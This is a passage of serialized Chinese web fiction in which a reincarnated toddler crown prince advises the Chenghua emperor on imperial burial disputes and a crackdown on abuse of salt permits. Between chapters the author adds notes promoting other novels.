朱见深陷入犹豫之中,朱佑棱瞄了一眼他,突然想起后世带孝子对真爱父母的做法,一个埋北极一个埋南极,就小亲爹这个熊样儿 算了,百年之后,还是让他和美人亲娘,埋一块儿吧! 他才不愿意做这样倒灶的事儿。 不过话说回来,周太后闹着要和朱祁镇合葬,不要钱太后与之合葬,对于朱见深和万贞儿这对来说,也算教训。 如果这对真爱百年之后想要合葬的话,就要提前处理掉王氏。即便王氏是继后,那也是嫡后,是朱见深的正妻。 而万贞儿再是真爱,皇贵妃又如何,说到底还不是妾。前面说过,只有嫡后才能和君王合葬,哪怕是生了下一任帝王的生母,只要是妃就没资格合葬 周太后已经算破例了,但偏偏不满足,倒让朱见深这个亲儿子好不为难。 朱佑棱耸耸肩,觉得小亲爹的为难纯属庸人自扰,自己自找的。说白了,周太后闹腾的事多大点,朱见深要满足就满足,不满足直接拒绝。 换做他,啧,他还宁愿一个人独享陵墓,不跟人合葬呢。 “娘亲,鹤归饿了。” “鹤归想吃什么?小厨房煨着燕麦茯苓粥,娘亲让小红给你端来?” 朱佑棱矜持的点头,表示自己不挑食,除了不好吃的外,其他食物都吃。 很快,小红去小厨房将一直小火煨着的燕麦粥端了过来,并几个小菜,朱佑棱挺中意其中一道将白菜萝卜切丝,制作的凉拌俩丝儿。酸辣可口,很是开胃。 朱见深纠结来纠结去,却并不耽误他吃粥。 “朕还是准备听从父皇的遗命。”朱见深边吃边道。“父皇本来就只愿和钱母后合葬,如今加了母后,母后和钱母后两人与父皇一起合葬,本就算违背了父皇遗愿,如果母后真做出那等事情来。百年之后,朕又有何脸面下去见父皇。” “父皇一定也希望和娘亲合葬吧。”朱佑棱突然出声道。“那你就该将王母后废了,此后不再立皇后就可以了。” 朱见深:“” “鹤归这话是谁跟你说的。”朱见深惊讶的瞪圆眼睛,不敢相信自己所听到的。 “朕一直以来的打算,是朕临终之前将王氏废了,现在就让她占着位置,如果现在就废了她,谁知道言官们会不会一起上书让朕再立个皇后。” 朱见深的意思已经很明白了,万贞儿登上后位很难,如果现在废了王氏,群臣一定逼着朱见深再次立皇后。 所以最好是现在不动王氏。 然而别看朱佑棱现在年龄小,却有与众不同的看法。“月有阴晴圆缺,人有旦夕祸福,父皇又如何能够保证,在你以后废掉王氏的时候,不会发生突发事情?” “娘亲当不了继后,那就不当呗。反正祖宗规矩不是还有一条,后宫没有皇后,皇贵妃慑六宫,形同副后。将王氏废了,只要能顶住压力,言官们也拿父皇没办法的。” 说白了皇帝和百官的关系,要吗是东风压倒西风,要吗就是西风压倒东风。皇帝软弱,百官就觉得皇帝可欺,自然强硬。而要是皇帝态度强硬,并且性格执拗,认定的事情没人能说服,那么百官自然就会退让,明面上过得去就成了。 朱佑棱摇晃脑袋,奶声奶气的继续说。“哎,父皇你看看皇祖母,虽说皇祖母喜欢作妖,但她的坚持,咱们做后辈的,从来都只能好好的劝,不敢采取强硬的手段。” “仔细一想,很多时候,其实都是咱们做后辈的退让。哪怕咱们做后辈的,明知道皇祖母不对,却依然没办法拿皇祖母怎么着。” “所以啊,父皇有时候你就态度强硬一点。父皇,你是儿臣的父皇呀,儿臣的性格挺不错的,父皇你不能性格比儿臣还要好呀!” 朱见深:“” 他没有回答,主要觉得朱佑棱后面说的话,有一点点歧义。 听着不像是在说他的性格好,而是在说他性格差,还暗示说作为儿子的朱佑棱性格就够差了,没想到作为小亲爹的朱见深性格更差。 其实朱见深性格也不是差,而是别扭。 主要和他生长环境有关,不好改,朱见深也不见得愿意改。 “明日早朝,鹤归跟着一起上朝。”朱见深突然道,算是定下了大明建国来的第一例三岁太子上朝听政的奇闻。 朱佑棱对此自然不会拒绝,并且信心百倍儿准备明早早起,看一群老登儿打嘴皮子仗。 没曾想,朱佑棱第二天还是起晚了。不,应该说早朝的时间太早,不过凌晨5点左右,天色还漆黑的时候,朱见深就起来了,并且已经梳洗穿戴整齐。 眼瞅着叫不醒朱佑棱,朱见深干脆直接用棉被将朱佑棱裹了,一并儿带去金銮殿。 好悬宫人们已经帮朱佑棱穿了衣物,不然的话,大概在上早朝的时候中途醒来,只有裹着棉被等下朝了。 前几日朱见深和内阁大臣一直讨论盐政的问题。今日一上朝,朱见深就直奔主题。 “盐法制度败坏,已经严重影响到了边境卫所的粮草。朕思索几日,决定下令,从今天起,京城内外的官员家族,不许利用特权抢先兑换盐引。” 盐引指的是运销食盐的凭证。 如果没有盐引,就进行运销食盐的话,便是贩卖私盐。 朱见深如此做,怕的就是有权有势的官员家族,滥用盐引,侵害商人利益的同时,还损害边防储备。 朱见深本是好意,结果此言一出,大臣们坐不住了。 “万岁爷,这怕是不妥。” 一位须发皆白的老臣率先出列,正是户部尚书杨鼎。只听他言辞恳切,仿佛字字句句都是为了江山社稷。 “盐引之制,乃太祖所定,沿用百年,虽有积弊,但骤然禁止官员家族兑换,恐引朝野动荡啊。再者百官俸禄微薄,仰仗盐引贴补家用者甚众,若一刀切之,恐寒了臣子之心,于国朝稳定不利。” 他话音一落,立刻有几位同是户部的官员附和。 “是啊陛下,盐引之利,亦是维系官员体面之所必需。” “还请陛下三思,此事关乎百官生计,牵一发而动全身啊!” 朱见深端坐龙椅之上,面色平静,但眼神已经冷了下来。 他早就料到会有人反对,却没想到反对得如此直接,理由还是这般冠冕堂皇的,所谓的官员体面! 啊呸! 想要体面,倒是办点人事啊! “寒了臣子之心?那边境将士缺粮少饷,寒不寒心?国库空虚,边防吃紧,诸位爱卿是觉得,朕应该为了尔等的‘体面’,坐视边防崩坏吗?” 朱见深质问的声音逐渐升高。 “俸禄微薄?朕看未必!若是堂堂朝廷命官,竟需靠与民争利、侵夺边饷来维持体面,那这官,不做也罢!” 话已是极重!几位出言反对的官员顿时脸色发白,冷汗涔涔,慌忙跪下,高呼:“臣等失言,请陛下息怒!” 朱见深这时候的脸色缓和了不少。 他没有立即又说话,而是接过怀恩公公奉上的热茶,喝了一口润喉后,才又继续说道。 “盐政之弊,朕意已决!禁止官员家族优先兑盐引,只是第一步。后续的话,朕会命户部会同都察院,彻查盐引积弊,凡有贪腐侵占、损害边储者,无论涉及何人,严惩不贷!” 说完的最后,朱见深居然扫了一眼朱佑棱,朱佑棱眨眨眼睛,到底没有胡乱插言。 其实吧,做个抄家皇帝,是一件很幸福的事情。就那些个总是喜欢高呼‘清廉治理’的人才,信不信只抄一人的家,就能抵一地州府一年的税收。 话说回来,去年的赋税收入,总共是多少来着? 朱佑棱因此陷入沉思。 这时朱见深接着说:“至于尔等所言的百官生计,待盐政清明,国库充盈,朕自然不会亏待了真正为国效力的忠臣。” 挺意味深长的,听在某些人的耳朵里,仿佛是威胁。 的确是威胁! 朱见深不是那种嗜杀成性的皇帝,不到万不得已的时候,他不会对中枢朝廷的官员下手。 即便抄家,犯事的官员以及家属,多半会采取流放的手段,而不是一股脑的推入菜市口砍头了事。 不过话又说回来,朱见深既然给出了这样的警告,那显而易见,有那么一瞬间,朱见深对某些官员,是起了杀心的—— 作者有话说:更新o(* ̄︶ ̄*)o~~ 嘿嘿嘿,推荐我的文文,女帝那本,已经在存稿了,努力存满三万就开! 《女帝之路,我走得很顺畅[快穿]》 文案:【女主在各个时空当女帝的故事!】 满级大佬误入新手村 不,是来炸鱼的! 明照作为修仙世界大冥皇朝最骁勇善战的女帝,生平最不后悔的便是修仙修到大圆满后,又转道继承皇位,凭借一举之力,让大冥皇朝万古长存,谁曾想一朝飞升,没有飞升到仙界,反而被不知道从哪里跑来,号称‘千秋霸业,造反有理’系统绑定。 系统:宿主,我们一起当反骨仔,成就千秋霸业吧! 明照:??? 别人造反是九死一生,她造反,却是满级神仙回新手村炸鱼。 [红楼女帝] 系统:身为林黛玉表姐的你,首要任务是推翻当今天下,当改天换命的反贼。 明照:???除了林黛玉的表姐外,你是不是忘了我另外的身份。我乃废太子之女,继位名正言顺,当什么反贼。 [大明女帝] 系统:宿主,你的任务是当立天改命的反贼。 明照:???身为思宗的女儿,我继位名正言顺,当什么反贼? [国运战争中的战神女帝] [灵异文中的幽冥女帝] [末日丧尸女帝] [武则天之女,太平女帝] [唐玄宗之女,开元女帝] [宋徽宗之女,大宋女帝] 第33章 第033章 君王对臣子起杀心是很正常…… 君王对臣子起杀心是很正常的, 相反,当皇帝的,如果不对臣子起杀心,不管臣子如何如何, 都没有杀意。除非这皇帝是刘禅, 不然等着被臣子坑得国破家亡吧。 大怂够优待士大夫了吧, 还喊出愿意与士大夫共治天下的口号, 结果呢结果呢 不过话又说回来, 去年收上来的赋税到底多少来着。 估计没多少, 如何很多的话, 就小亲爹的脾气, 不会直接拿盐政开刀。 盐政弊端已久, 并且两淮等地,已经形成了足以和官府力量抗衡的盐商组织,上一任皇帝(大明战神)开始,就对此头疼不已,如今换做朱见深, 头疼之余, 选择处理,是很有魄力的决策。 只不过再好的决策,也要有手下执行。而这个手下, 不需要他聪明过人,只需要他听话, 不管上位者吩咐什么,都能毫无违抗的执行。 “尔等还有什么话说?” 或许是沉默的时间久了,朱见深再次开口。 语气温和,态度也挺好的, 但满殿文武,全都觉得朱见深越来越具有帝王的威严。 像霸道君王,还是胖胖版本的霸道君王。 “没有话说?”朱见深又道。“既如此,那朕算了,朕也没有多余 的话。就这样吧,朕会派太监王允中和佥都御史高明向往两淮地区整顿盐法。而户部,朕只说一句,户部必须拿出如何兴利除弊的具体办法。再一条条研究清楚,上报给朕。”” 此话说罢,朱见深直接捞起朱佑棱就走,完全没有给朱佑棱思考人生的时间。 被留下满殿文武,面面相觑。 不少的官员人心思各异,尤其是那些在盐引上获利颇丰的官员更是心中惴惴。 他们背后的家族,靠着盐引不知道获利多少。粗略推算,一张盐引黑市贩卖,大概10万两白银。 如此贵,盐犯们依然趋之若鹜,可想而知‘盐引’之事的利益有多大。 而往往官府发放的‘盐引’收费不高,很多时候,都是意思意思收取,本算是隐形福利,中枢朝廷给与官员们的福利,结果被拿来谋取私利。 不怪朱见深动真火,在特定的情况下,有的大臣真的该杀。 百官们眼见皇帝动了真格,态度又如此强硬,心知肚明之余,不免更加忐忑。 大明的盐政,真的要变天了。 “家中有‘盐引’的,尽快处理吧。”李贤说了一句,率先离开金銮殿。 原本还算热闹的金銮殿,很快变得空荡荡。 百官走后,守门的太监将朱红殿门关上,沉重的声音,仿佛在耳边响起。 已经回到了安喜宫的朱佑棱开始打起连环喷嚏。 “父皇。”朱佑棱眯眼笑着。“一定有妖孽在背后骂孤。” 朱见深:“?” “父皇信我,” 朱佑棱背着小手手,昂首挺胸的说。“今日之事,他们肯定私底下在骂,父皇不太敢骂,首当其冲的,可不是孤这个做儿子的。” 朱见深:“朕也被他们骂。” 朱佑棱看了看面色平静的朱见深,惊讶的说。“父皇知道?那为什么不生气。” “气得过来?”朱见深反问。 怪不得胖的人,脾气大部分都好呢。朱见深这种的,大概就是‘大肚能容’,十分有容人之量。 朱佑棱却不是,他对自己一向有清楚的认知。 他抠门又小气,他占旁人的便宜可以,但是旁人无缘无故占他便宜 嘿,别看他现在年龄小,实际上懂的可多了。 “父皇,你说户部的人,什么时候能将清理盐法的方案呈上来。” “大概会拖个十天八月吧。”朱见深回答道。 朱佑棱:“不愧是中枢朝廷的官员,这磨蹭的速度,要是夫妻俩相约一起投胎的话,下一辈就是老妻少夫了。” “哈哈哈!”朱见深哈哈大笑起来,显然朱佑棱的话,说到了他的心坎里。 这磨蹭的速度,简直和后世的集体劳动磨洋工,有异曲同工之妙。 “等吧。那时候朕的人,已经前往两淮。” 朱佑棱微微点头,随即就去缠着万贞儿说要吃炸的羊奶蛋卷酥。 时光匆匆,一晃十日过去,早朝结束后,户部在朱见深的估计时间内,将十条清理盐法的方案呈上来。 朱见深略微翻看了一遍,就交给朱佑棱,让他看。 朱佑棱:“???” “父皇,儿子还没有启蒙呢!” 古代是用繁体字的,那小篆的笔画,和比简笔字多很多,看着能猜,但猜不完,索性大方承认自己是文盲。 三岁的小文盲不认识很正常,谁家三岁孩子就能识字,还能看奏折。 朱见深:“” “倒是忘了。”朱见深招来怀恩公公,让他将户部官员呈上来的十条清理盐法的方案逐一读出来。 “京城内外的官员不许抢占盐引份额。”怀恩公公昂声道。“各缺粮草的地方,不许再轻易批准用盐引来换取粮草,以免不知情况滥发。 “管理盐务的官吏不得作弊受贿” “辽东各仓库已批准用盐引换粮草但还没缴纳粮草的,限期六个月完成。” “不许有权势的豪强人家霸占贫穷灶户(制盐人)的盐产份额。 灶户在完成规定税额之外多生产的余盐,必须一律按照惯例交给官府,不许私下贩卖。” “” “加上一点。”朱见深开口道。“辽东各仓库已批准用盐引换粮草,但还没缴纳粮草的,限期六个月完成。” 朱佑棱在旁听得若有所思。 没曾想下一句,朱见深却是问他。“鹤归有什么看法?” “盐引定额是多少?” “河东地区每年定额盐引三十四万四千引,可换得银子十七万多两。” 这是怀恩公公说的,顺便还说了朱佑棱想知道的去年税收情况。 “去年盐税收入,九十七万多两,农税一百三十八万多两,其余杂税共计一百六十五万余两,全年总赋税收入400万两整。” “不应该啊。”朱佑棱吃惊的说。“都说两淮盐商豪富,家中珍珠都是抛着玩的。怎么一年盐税收入才九十七万两。” “太子殿下,这里面不止两淮盐税。” “孤知道。” 正因为知晓,才觉得不可思议。 都说盐铁茶暴利,单单一项,一年的税收就是上百万打底,结果所有加起来,其中还有农税,总共税收才400万两白银。 妈哒!这样的税收,单看还真是多哦! 怀恩公公这时候又道。“淮浙盐场分上中下三等,每等盐价都不一样。上等盐供皇室世家,中等盐和下等盐,则大多是百姓们买。” “这孤也知道。”朱佑棱很无奈的说。“孤的意思是指,孤不相信盐场每年出产的大量盐,只收了这么多的盐税。糊弄鬼呢这是,连三岁小儿都知,盐税不可能只有九十七万余两。” “行了,鹤归你别激动。”朱见深开口道。“朕也知其中猫腻,每年都有巡盐御史前往两淮巡查。” “只是巡查,难保巡盐御史不会和收取盐税的官员勾结。”朱佑棱声音脆生生的,却十分不客气,奶声奶气的指出问题。 “这朕更是知道,可鹤归啊,你要明白,万事不可操之大急。” 顿了顿,朱见深又继续说道。“待解决了两淮的盐法弊端,就按照整顿两淮盐法的例子,来清理两浙、山东、长芦(今河北沧州)的盐法。” “万岁爷,还有一事,东厂今日才刚刚收到消息。”怀恩公公在旁又道。 “什么事?”朱见深有了很不好的预感。 果不其然,只听怀恩公公道。“山东长芦地区的盐,常被蒲州、解州等州县(今山西永济、运城一带)的人偷偷取用,当地卫所的千户带人亲自调查,查出是流民所谓。如今蒲州、解州等州县,私盐泛滥,官盐价格下跌。奴婢觉得,在整顿两淮盐税的同时,应该大力缉拿私盐贩子。” 朱见深颔首,道:“是要大力缉拿私盐贩子,此事由锦衣卫负责,责令各地锦衣卫千户百户长,抓住私盐贩子,即刻投入大牢,按所贩私盐数额定罪。” 恰好边境那边,常年缺乏修筑城墙碉堡的劳动力,‘盐吃富’的人,想必不缺劳力,就该去边境修建城墙碉堡。 “奴婢领命,这就去通知锦衣卫指挥使。”怀恩公公躬身告退。 而等怀恩公公一走,朱见深就故作神秘的道。“鹤归啊,想不想要父皇和母妃带你出宫走走。” 朱佑棱:“是父皇想跟娘亲出宫走走,儿子只是顺带的吧。” “哎,臭小子你就说你想不想吧!” “想啊,当然想!”朱佑棱一本正经的说。“但是父皇,你不能拿我当借口,明明就是你想,大胆承认,娘亲肯定更感动的。” 朱见深被儿子这小大人般的模样儿逗笑了,又有些被戳穿心思的尴尬。 “好你个臭小子,人小鬼大,还敢编排起父皇来了!”他捏了捏朱佑棱胖乎乎的脸颊,笑骂道。 “哪里编排了,明明说的是大实话。”朱佑棱很认真的说。“儿子从来都说大实话,从来不会编排人,特别是编排自己的亲父皇。” “鹤归你说得对,”朱见深压低声音,像是在分享秘密的说,“父皇确实想带贞姐出去散散心。这宫里待久了也闷,而且” 他顿了顿,声音更轻了些,“好吧,是朕觉得宫里最近闹腾得很,想要出去走走,但又舍不得一人,还是带上贞姐,再多加你一人,咱们一家三口,好好在京城逛逛就成。”—— 作者有话说:今天午睡起晚了,先更新这么多,也是三千一章,晚上的时候就还有一更! 嘿嘿嘿! 好想打死睡得好沉,打雷都不醒的我! 第34章 第034章 说起来,别看朱见深已经2…… 说起来, 别看朱见深已经22岁了,但其实很少有出宫的时候。以前是不能够,现在能够了,时间大多花费在了处理政务和万贞儿恩恩爱爱中。 前者很费时间, 后者更费时间, 一天12个时辰, 除却吃喝拉撒睡, 朱见深恨不得连批阅奏折的时候, 都和万贞儿在一起。十二时辰对于朱见深这样的恋爱脑来说, 又怎么够呢。 出宫随便走走? 除非和万贞儿一起。 “走, 父皇带你换一身衣服。”说着, 还真就亲自抱着朱佑棱, 准备为他换一身便服。 朱佑棱赶紧用手捂档。 “父皇,谁家儿郎换外出的衣服,还要连亵裤都一起换了?你别因为我小,就糊弄欺负我。” 朱佑棱严重怀疑老登儿,想脱了他的裤子, 好顺手弹他的小小鸟。 还是皇帝呢! 怎么能这样干这样离谱的事情, 也太欺负崽了! “捂什么捂,那么小,捂着有用?”朱见深居然嘲讽起自己才三岁大的儿子。 这老登儿! 朱佑棱面色一言难尽。 端着刚切好的瓜果, 进来的万贞儿也差不多。 “行了,别欺负鹤归了, 不然鹤归哭给你看的时候,别指望我哄。” 朱见深顿时讪讪然,“就小孩子嘛,逗起来好玩。” 朱佑棱直接翻起白眼, 还是用小手手捂着档,大有朱见深敢直接动手扒,就捂到天荒地老的架势。 朱见深觉得朱佑棱这样,太没有男子气概了,居然一把拎起朱佑棱,扛着他就进了专门沐浴更衣的房间。 万贞儿有点儿担心,特意等了半炷香的时间,才施施然的也进入专门用来沐浴更衣的房间。 刚进来,万贞儿就看到父子俩脑袋凑在一起,嘀嘀咕咕,朱见深脸上还带着一种做坏事似的偷笑。 “你们爷俩在密谋什么呢?”万贞儿狐疑地看着他们。 朱见深立刻正襟危坐,清了清嗓子,一本正经地说:“贞姐,朕看近日秋高气爽,正是好时节。鹤归也渐渐大了,总困在宫里见识浅薄。朕想着,不如微服出宫一日,带你和鹤归去西苑走走,看看民间烟火气,也让鹤归沾沾地气。” 朱佑棱非常配合地朝着万贞儿点头,脸蛋上全是期待。 万贞儿先是一愣,随即看到朱见深眼中那抹藏不住,想要带她出去玩的亮光,以及儿子那“渴望”的小眼神,不由心中一软, 她岂会不知这是朱见深想让她开心?只是…… “深郎,外面人多眼杂,鹤归还小……”她有些顾虑,主要就是她所言的那样,朱佑棱还小人多眼杂的场合,就怕遭遇意外。 “贞姐放心,汪直精明,定能好好照看好鹤归。”朱见深见她没有直接拒绝,立刻来了精神, “就我们一家三口,多带些可靠的护卫,扮作寻常富户人家,去西苑那边逛逛就回来,不妨事的。贞姐,你就答应了吧,你看鹤归多想去。” 说着,还把朱佑棱往万贞儿面前递了递。 朱佑棱:“” 勒脖子的行为,是过不去了吧! 万贞儿瞄了一眼,被朱佑棱的可怜样儿逗笑了。 “好了好了,深郎所言,我啊遵命就是。”说着,瞅着朱佑棱可怜巴巴的样子,紧接着又来一句。 “鹤归快别瘪着嘴巴了,你看看你这样,活似被逼良为娼。” “我没了清白。” 朱佑棱捂住档,故意抽抽搭搭的说话。 “父皇太讨厌了,人家还小,他就时不时抓住这点打击我。先前也是,我再小也是个人啊,勒着脖子拎来拎去,当我摆件啊!” 朱佑棱只差呐喊,句句都是指责小亲爹不当人。朱见深,算是脾气很好的主儿,哪怕是皇帝,对于亲儿子的闹腾,也从来不生气,反而觉得欺负儿子惹得儿子闹腾这件事,超级有成就感。 “现在时候还早,去了西苑后,还能在京城四处走走。”万贞儿笑着开口,打破朱见深、朱佑棱这对父子俩的对峙。 西苑便是皇家园林,风景很是秀丽,却过多人工雕琢的痕迹。倒不如京城其他地方,虽说很多也是人工雕琢的,却自带一种粗犷的美感。 很快一家三口收拾妥当,还挺浩浩荡荡的出了宫。先去的西苑,快到响午的时候,朱见深不想吃|精|致的御膳,干脆就出西苑,去了京师一家名曰醉仙楼的酒楼吃饭。 听说醉仙楼的大厨有三人,一人是南方人,会做很多两淮地区的名菜;一人是蜀中人,做的饭菜都重油重盐;还有一位便是地道的北方人,家乡偏陕西那一块儿,尤其擅长做面食。 朱佑棱不挑食,只要味道好的食物都吃。一来到醉仙楼,在怀恩公公要了二楼最好的雅间时,朱佑棱已经吩咐汪直去告诉店家,店里的招聘菜都给他上齐了。 没曾想汪直回来告诉他,说是醉仙楼的招牌菜是按照菜系排的,每种菜系的招牌菜不固定,都是后厨按照每日采买的食材搭配炒制出来的。 意思就是说,没菜单,点一个菜系的话,会上6道至12道菜。 朱佑棱:“这样的规定,还真是新颖呢,这样吧,三种菜系的菜肴分别来六道,一共十八道,够我们吃了。” 朱见深一直心情很好,朱佑棱这样做主,也没有开口的意思。万贞儿就更加不可能开口了。 万贞儿站在窗前,她的心思突然被窗外经过的人,吸引住人了。 “这人好生眼熟。”万贞儿皱眉沉思,很快想起是谁。现任徐国公的侄孙,徐文瑞。 万贞儿直觉有事儿,忙招来怀恩,让他安排人手去盯着。 怀恩同样觉得有事儿,当即就亲自带人,去盯着徐国公侄孙徐文瑞。 徐文瑞今日和友人相约在醉仙楼二楼雅间凌云阁碰头,他后来,到的时候,三五友人已经到了,正斜倚在铺着软缎的窗边,心不在焉地望着楼下人来人往的街景。 桌上摆着时鲜的蟹粉狮子头、糟熘鱼片,并一壶上好的金华酒, 三五友人却都提不起丝毫享用食物的兴致,徐文瑞到来后,同样也是,只是接过其中一位友人递来的酒杯,将杯中那琥珀色的液体一饮而尽,眉宇间锁着一团化不开的愁绪。 徐文瑞坐了下来,坐在他对面的友人,是吏部张郎中的公子张琨,素来是个机灵人。 他见徐文瑞这般模样,挥退了正在咿呀唱着小曲的歌姬,并凑近了些,打趣道:“徐兄,今日这般魂不守舍,可不像你。莫非是看上了哪家的姑娘,遇到了难关?说出来,兄弟们可以为你参详参详。” 旁边另一位穿着宝蓝色绸衫的青年,是京营某位指挥的舅家表弟,姓李,闻言也凑趣地笑起来。 徐文瑞叹了口气,无力地摆摆手,声音压得极低:“诸位贤弟,莫要取笑了。眼下可是有真正的烦难事。家父今日从部里回来,脸色铁青,将我唤至书房,严令告诫,从今往后,决不许我再沾手‘盐引’的生意,连打听都不许!” “嘶——” 张琨吸了一口凉气,脸上的笑容瞬间僵住。那李公子刚端起的酒杯也停在了半空。 雅间内顿时安静下来,只听得楼外隐隐传来的市井喧闹声。 沉默了片刻,张琨率先回过神来,他谨慎地环顾一下紧闭的房门,身体又向前倾了倾,说话声比先前还低。 “徐兄家也收到风了?不瞒你说,我家老爷子昨日也发了话,内容一般无二。听说宫里已经命人准备贴皇榜,明儿发上谕,说要严禁中枢朝廷大臣以及地方官员之家沾手‘盐引’,违者必重惩。” “看我家老爷子的脸色,只怕这回不是雷声大雨点小,司礼监的王允中太监,和都察院的那位‘铁面御史’高明高御史,十几天前就已经出京直奔两淮去了,据说都有临机专断之权,估计现在已经杀得两淮地区血流成河了!” “不止你们”李公子也苦着脸接口,“我家那位姐夫在户部清吏司当差,透出消息说,此番整顿,条陈极细。辽东那边,凡开了盐课却还没把粮草运到卫所仓场的,限期六个月,必须交割清楚。逾期不交割的,就要追究到底!家父叮嘱我,赶紧把去年那笔牵扯辽东的旧账抹平,该补的粮草尽快补上,免得被当了杀鸡儆猴的那只鸡!” “断人财路,犹如杀人父母!” 徐文瑞越想越郁闷,忍不住抱怨说,“以往何等轻松?不过是借着家中名头,递张名帖、写个条子给盐运司的人,便是那最紧俏,只能供应皇家宗室的‘盐引’便能到手。后续转手让给那些真正想去运粮的商人,就是好几万两甚至几十万两轻松入手。” 说罢还一脸不甘心的,又道:“如今这条路生生断了,往后咱们这吃穿用度,诗酒应酬,怕是都要紧巴起来了!” “徐兄,日子紧巴些,其实还是小事。我现在担忧的是秋后算账。王阉狗和高御史此番南下,岂会只盯着两淮地区?” “李贤弟,你的意思是” “哎”李公子摇头,将自己的猜测随即说了出来。“现如今两淮地区多半已经腥风血雨,王公公和高御史二人,恐怕早已经站稳脚跟。依着宦官的阴狠,和高御史的不畏强权,站稳脚跟做的第一件事,便是清理旧账。” 顿了顿,李公子吃了一口酒水,方才又继续说。“你我往日经手那些,虽做得隐秘,但盐引由谁中出,粮草由谁纳送,户部档案里终究有迹可循。若被他们顺藤摸瓜查将过来,那才是真正的灭顶之灾。”—— 作者有话说:注:盐课是古代政府对食盐产制运销所征的税项! 更新更新!!! 啦啦啦,依然是求预收缓解,嘿嘿嘿! 一般我放在最前面的,就是会优先开的! 《流放文中的极品对照组!》 文案:作为新时代懒货联盟的盟主,姐姐许梦长得出奇的漂亮,但标准的吃啥啥不剩,干啥啥不行,除了一张漂亮的脸蛋外,没有任何优点。 作为新时代坑货联盟的盟主,弟弟许归本人出奇的坑爹却出奇的聪明,属于别人家的孩子。许归聪明归聪明,但却熊得出奇,上能鞭炮炸茅坑,下能拳打脚踢打遍幼儿园无敌手。主打熊上天际,坑人没商量。 有一天,这对奇葩的姐弟穿越了,穿越成流放文中的女主一家的极品对照组,一对为了在流放过程中活下去,什么糟心事儿都敢干的奇葩母子。 许梦:阿这,除了美貌一无所有的我,为了活下去,训狗一样训孩子他爹,不是正常的? 许归:阿这,除了聪明一无所有的我,为了活下去,无所不用其极坑别人,不是正常的? ###阅读须知### ①:年龄差很大的奇葩姐弟双穿成极品母子。 ②:姐弟都有金手指,姐姐签到系统,弟弟超强锦鲤运! ③:架空朝代,背景类似明朝中后期小冰川时代情况下,内忧外患! 第35章 第035章 李公子的一席话,说得…… 李公子的一席话, 说得徐文瑞和张琨背后都沁出了一层冷汗。 是啊,以往靠着父祖辈的权势,这‘盐引’生意做得顺风顺水,几乎成了他们这些勋贵世家官僚子弟, 一项心照不宣的“常例收入”。 来钱太容易, 以至于他们都快忘了这背后蕴含的巨大风险。私自贩卖‘盐引’, 严重者抄家判三族。 大宋可以刑不上士大夫, 哪怕通敌卖国, 严重也不过抄家流放。可大明 如今大明这位新登基不过几年的皇帝, 显然是准备动真格。他们老朱家的传统, 就是‘莽汉式’杀读书人, 大明建国以来, 被抄家杀头的不知寥寥,就永乐时期还有被夷十族的读书人呢。 他们看似无所顾忌,不过是仗着家里有当官的,还是中枢朝廷的大官。 可一旦当今皇帝动真格,要拿积弊最深、牵扯最广的盐法开刀, 以充实边备。 他们这些昔日靠着盐引捞钱的蛀虫, 首当其冲。 酒,再也喝不出滋味。佳肴,也如同嚼蜡。三人面面相觑, 再也无人说笑。 窗外,京师街头依旧繁华热闹, 但这醉仙楼雅间里的几人,却仿佛已经看到了他们那倚仗特权,轻松牟利的好日子,已然一眼到了头。 一种大厦将倾的恐慌, 在沉默中蔓延开来。 心慌慌的,与之而来的却是,越来越稠密的不好预兆。 就在他们三人反复纠结,想着怎么脱罪的时候,探听到消息的怀恩公公赶紧去跟朱见深和万贞儿汇报。 不要小看东厂的能量,也不要小看能在诡秘多变的宫廷生涯中,将朱见深牢牢护住的万贞儿。 万贞儿有一项能耐,凡是她看过的人,都不会轻易忘记。万贞儿曾经见过徐文瑞,是在朱见深登基之前见过。 当时身为现任徐国公侄孙子的徐文瑞,挺嚣张不可一世的,简直比人家正儿八经的嫡孙还要威风。 只这样见过几回,足以带给万贞儿深刻的印象。 对其印象深刻的万贞儿想起后,自然会让怀恩公公这位东厂提督盯着。 瞧瞧,想要的答案不就来得嘛! 不过话又说回来,怀恩公公得到的消息,还真的挺让万贞儿意外,又不是那么意外。 朱见深却是很生气。 “朕从来没有想过,朕的手下居然” “不是你的手下呢!”朱佑棱脆生生的开口。“是你手下养的小害虫,专门蛀墙角的。” 朱见深:“你的理解还挺深刻。” “父皇,多看看永乐大典。”朱佑棱真诚提议。“那永乐大典记载的有关太|祖年间的刑法,儿子觉得某些刑法,挺适合贪得没边儿的续小害虫们,父皇觉得呢!” 朱见深:“你让朕好好想想。” 要说对洪武大帝当政时期,什么刑法最印象深刻,大概是老朱同志那一手剥皮揎草了。 不知道当时多少贪官污吏死于剥皮揎草,家眷又被充入教坊司。或许这样的刑法残酷,但别说,老朱同志这么搞过后,吏治清明了不少。 再之后,永乐时期吏治也是清明的,但从中后期开始,诚然踊跃出现不少为民做主,甚至可以谋国的官员,但更多的却是在其位不谋其政,只为努力挖国家墙角肥自己家族腰包的垃圾。 连贪官污吏都不想给他们戴上,就是一个个垃圾,还暗中私通鞑子,支持女真起势的卖国贼。 “还想什么想呢,父皇难道没有给他们机会?”朱佑棱小小人儿,稚嫩的脸颊上全是认真的严肃。 “就这种玩意儿,就该就地处决以儆效尤。” 朱见深挺赞同把人杀了的主意,但是想要朱佑棱如今年龄还小。小孩子嘛,杀心还是不要那么重的。 就道:“鹤归,小小年龄,不要动不动就说‘处决’的话语,这样杀意太重了。” “我这不是杀意太重,我这是‘以德服人’。”朱佑棱振振有词的说。“武德充沛的武德,也是德。” 朱佑棱:“” 万贞儿却是突然想起朱祁镇这位大明战神,有了不好的预感。 “鹤归,如今‘土木堡之变’的影响还依然记忆犹新,作为太子,你可以武德充沛,却不能表现出来。” 至少在长大顺利继承皇位之前,不能随随便便就表现出来。 “他们啊,可不喜欢文武双全的帝王。”万贞儿突然又道。“最好是只‘文’,不,最好‘不文不武’的帝王,这样才能他们说什么,就是什么。” 文盲皇帝不就是在这样的情况下诞生的。作为皇帝,朱由校18岁几位。在继位前,作为朱常洛的长子,朱由校便是铁板钉钉的下一任帝王继承人, 按理说太子嘛,肯定要请多名师傅教导。但是呢,朱由校硬是把自己搞成了教育缺乏的典型,连大字都不认识几个的文盲皇帝。 而诚然有朱由校自己的原因,但更多的就是教学师傅的不用心。不然好好的娃,硬是教成了文盲。 朱由校是往后的大明皇帝,万贞儿肯定不知道,但聪慧的她始终明白一个道理,不管什么人,都喜欢自己的上司什么都不懂好糊弄。 “回去后,我就开始努力学习。”朱佑棱认真无比的道。“保证一天就把《三字经》背熟。” “不止要背熟,还要认识字。” 